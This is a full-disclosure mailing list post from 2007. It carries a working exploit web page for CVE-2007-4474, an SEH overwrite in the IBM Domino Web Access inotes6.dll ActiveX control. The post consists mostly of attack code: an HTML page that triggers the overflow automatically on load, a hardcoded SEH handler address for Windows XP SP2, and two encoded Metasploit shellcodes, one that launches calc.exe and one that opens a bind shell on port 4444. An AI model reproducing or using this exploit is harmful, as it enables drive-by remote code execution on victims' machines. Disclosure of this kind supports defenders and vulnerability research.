[Full-disclosure] IBM Domino Web Access inotes6.dll SEH Overwrite Exploit

Mon Dec 31 01:19:24 GMT 2007

My first attempt at an SEH overwrite exploit. Anyhow, I first 
posted about this issue regarding version 7 of this control, Will 
Dormann of the CERT/CC discovered versions 6 and 6.5 are vulnerable 
too, see http://www.kb.cert.org/vuls/id/963889. Dwa7w.dll and 
inotes6w.dll are unicode, thats my next project. Code is inline and 
attached.

---------------------
<!-- 
written by e.b. 
IBM Domino Web Access Upload Module inotes6.dll SEH Overwrite 
Exploit
Bad chars: 0x80+
CVE-2007-4474
Tested on Windows XP SP2(fully patched) English, IE6, inotes6.dll 
version 6.0.40.0 and version 6.0.48.0
Thanks to str0ke for pointing me in the right direction and to 
h.d.m. and the Metasploit crew 
-->
<html>
 <head>
  <title>IBM Domino Web Access Upload Module inotes6.dll SEH 
Overwrite Exploit</title>
  <script language="JavaScript" defer>
    function Check() {

     var buf = 'A'; 
     while (buf.length <= 3119) buf = buf + 'A';

// win32_exec -  EXITFUNC=seh CMD=c:\windows\system32\calc.exe 
Size=378 Encoder=Alpha2 http://metasploit.com 
var shellcode1 = 
unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49%49" +

"%48%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%43" +

"%58%30%42%31%50%42%41%6b%42%41%53%42%32%42%41%32" +

"%41%41%30%41%41%58%50%38%42%42%75%48%69%6b%4c%4d" +

"%38%63%74%75%50%33%30%67%70%4c%4b%73%75%57%4c%6e" +

"%6b%63%4c%45%55%63%48%33%31%58%6f%6c%4b%70%4f%77" +

"%68%6e%6b%73%6f%71%30%65%51%6a%4b%72%69%4e%6b%36" +

"%54%4e%6b%45%51%4a%4e%46%51%6b%70%4f%69%4c%6c%6e" +

"%64%59%50%73%44%53%37%58%41%7a%6a%54%4d%33%31%78" +

"%42%48%6b%7a%54%77%4b%52%74%66%44%34%44%62%55%59" +

"%75%6e%6b%41%4f%36%44%45%51%6a%4b%53%56%4c%4b%46" +

"%6c%72%6b%4c%4b%53%6f%37%6c%63%31%6a%4b%4e%6b%75" +

"%4c%6c%4b%54%41%48%6b%4d%59%51%4c%51%34%34%44%4a" +

"%63%30%31%6f%30%62%44%4e%6b%71%50%54%70%4b%35%6b" +

"%70%50%78%46%6c%6c%4b%63%70%44%4c%4c%4b%44%30%35" +

"%4c%6e%4d%6c%4b%61%78%55%58%6a%4b%64%49%4e%6b%6b" +

"%30%6c%70%57%70%57%70%47%70%4c%4b%70%68%47%4c%71" +

"%4f%44%71%6b%46%33%50%66%36%4f%79%4c%38%6e%63%4f" +

"%30%71%6b%30%50%41%78%58%70%6c%4a%53%34%51%4f%33" +

"%58%4e%78%39%6e%6d%5a%46%6e%61%47%4b%4f%69%77%63" +

"%53%45%6a%33%6c%72%57%30%69%50%6e%62%44%70%6f%73" +

"%47%41%63%41%4c%50%73%42%59%31%63%50%74%65%35%70" +

"%6d%54%73%65%62%33%6c%30%63%41%71%70%6c%53%53%66" +
                          "%4e%31%75%74%38%70%65%77%70%43");

// win32_bind -  EXITFUNC=seh LPORT=4444 Size=696 Encoder=Alpha2 
http://metasploit.com 
var shellcode2 = 
unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49%49" +

"%49%49%49%49%49%49%49%49%49%49%37%49%51%5a%6a%43" +

"%58%30%42%31%50%41%42%6b%41%41%53%41%32%41%41%32" +

"%42%41%30%42%41%58%50%38%41%42%75%78%69%4b%4c%72" +

"%4a%58%6b%52%6d%4a%48%4a%59%6b%4f%6b%4f%69%6f%41" +

"%70%4e%6b%52%4c%74%64%41%34%6e%6b%37%35%55%6c%4c" +

"%4b%71%6c%64%45%61%68%74%41%6a%4f%6e%6b%62%6f%32" +

"%38%6c%4b%33%6f%37%50%55%51%78%6b%31%59%6c%4b%50" +

"%34%6e%6b%46%61%68%6e%45%61%6f%30%6c%59%6c%6c%6b" +

"%34%39%50%41%64%37%77%68%41%69%5a%56%6d%63%31%4b" +

"%72%78%6b%6c%34%75%6b%56%34%31%34%57%58%54%35%6b" +

"%55%6e%6b%33%6f%55%74%74%41%78%6b%41%76%4c%4b%46" +

"%6c%62%6b%6e%6b%41%4f%35%4c%56%61%68%6b%66%63%36" +

"%4c%6c%4b%6b%39%72%4c%44%64%57%6c%61%71%4f%33%47" +

"%41%6b%6b%33%54%4c%4b%63%73%70%30%6c%4b%53%70%64" +

"%4c%6c%4b%72%50%45%4c%4e%4d%6c%4b%37%30%75%58%73" +

"%6e%42%48%4c%4e%52%6e%46%6e%58%6c%56%30%39%6f%58" +

"%56%71%76%46%33%72%46%63%58%30%33%70%32%33%58%54" +

"%37%52%53%45%62%51%4f%50%54%4b%4f%5a%70%33%58%6a" +

"%6b%68%6d%59%6c%45%6b%46%30%49%6f%59%46%73%6f%4e" +

"%69%58%65%73%56%4d%51%58%6d%36%68%64%42%72%75%72" +

"%4a%67%72%59%6f%6e%30%72%48%4a%79%56%69%6b%45%6e" +

"%4d%76%37%6b%4f%58%56%33%63%30%53%50%53%76%33%70" +

"%53%33%73%53%63%37%33%56%33%6b%4f%5a%70%32%46%50" +

"%68%35%41%71%4c%30%66%33%63%6c%49%6d%31%6a%35%70" +

"%68%6e%44%35%4a%52%50%4b%77%71%47%4b%4f%4e%36%30" +

"%6a%52%30%31%41%70%55%59%6f%6e%30%30%68%6c%64%4c" +

"%6d%54%6e%79%79%31%47%59%6f%59%46%46%33%66%35%6b" +

"%4f%58%50%63%58%4b%55%73%79%4c%46%41%59%63%67%4b" +

"%4f%78%56%76%30%53%64%41%44%33%65%79%6f%4e%30%4e" +

"%73%71%78%58%67%61%69%69%56%71%69%62%77%39%6f%6a" +

"%76%51%45%49%6f%4e%30%51%76%53%5a%71%74%72%46%62" +

"%48%30%63%30%6d%6c%49%5a%45%63%5a%62%70%76%39%31" +

"%39%58%4c%4e%69%4d%37%53%5a%33%74%4e%69%4b%52%56" +

"%51%4b%70%6c%33%6f%5a%49%6e%33%72%44%6d%6b%4e%37" +

"%32%76%4c%6e%73%6c%4d%70%7a%76%58%6c%6b%4e%4b%4c" +

"%6b%73%58%53%42%79%6e%6d%63%74%56%6b%4f%30%75%70" +

"%44%4b%4f%79%46%53%6b%70%57%70%52%71%41%50%51%42" +

"%71%41%7a%33%31%42%71%41%41%51%45%66%31%69%6f%5a" +

"%70%50%68%6e%4d%5a%79%56%65%68%4e%33%63%39%6f%58" +

"%56%63%5a%4b%4f%4b%4f%70%37%4b%4f%4a%70%4c%4b%61" +

"%47%6b%4c%4d%53%6b%74%31%74%49%6f%59%46%70%52%59" +

"%6f%4e%30%63%58%6c%30%6f%7a%57%74%61%4f%32%73%4b" +
                          "%4f%68%56%39%6f%38%50%43");

		var next_seh_pointer = unescape("%EB%06%90%90"); //2 byte jump

		//oleacc.dll Windows XP SP2 English 0x74C96950 pop ebp - pop - 
retbis
                //no SafeSEH
		var seh_handler = unescape("%50%69%C9%74"); 

		var nop = unescape("%90%90%90%90%90%90%90%90%90%90%90%90");

		var m = buf + next_seh_pointer + seh_handler + nop + shellcode1 + 
nop;

		obj.General_ServerName = m;
                obj.InstallBrowserHelperDll();

   } 

   </script>
  </head>
 <body onload="JavaScript: return Check();">
    <object id="obj" classid="clsid:3BFFE033-BF43-11D5-A271-
00A024A51325">
     Unable to create object
    </object>
 </body>
</html>

---------------------

Elazar

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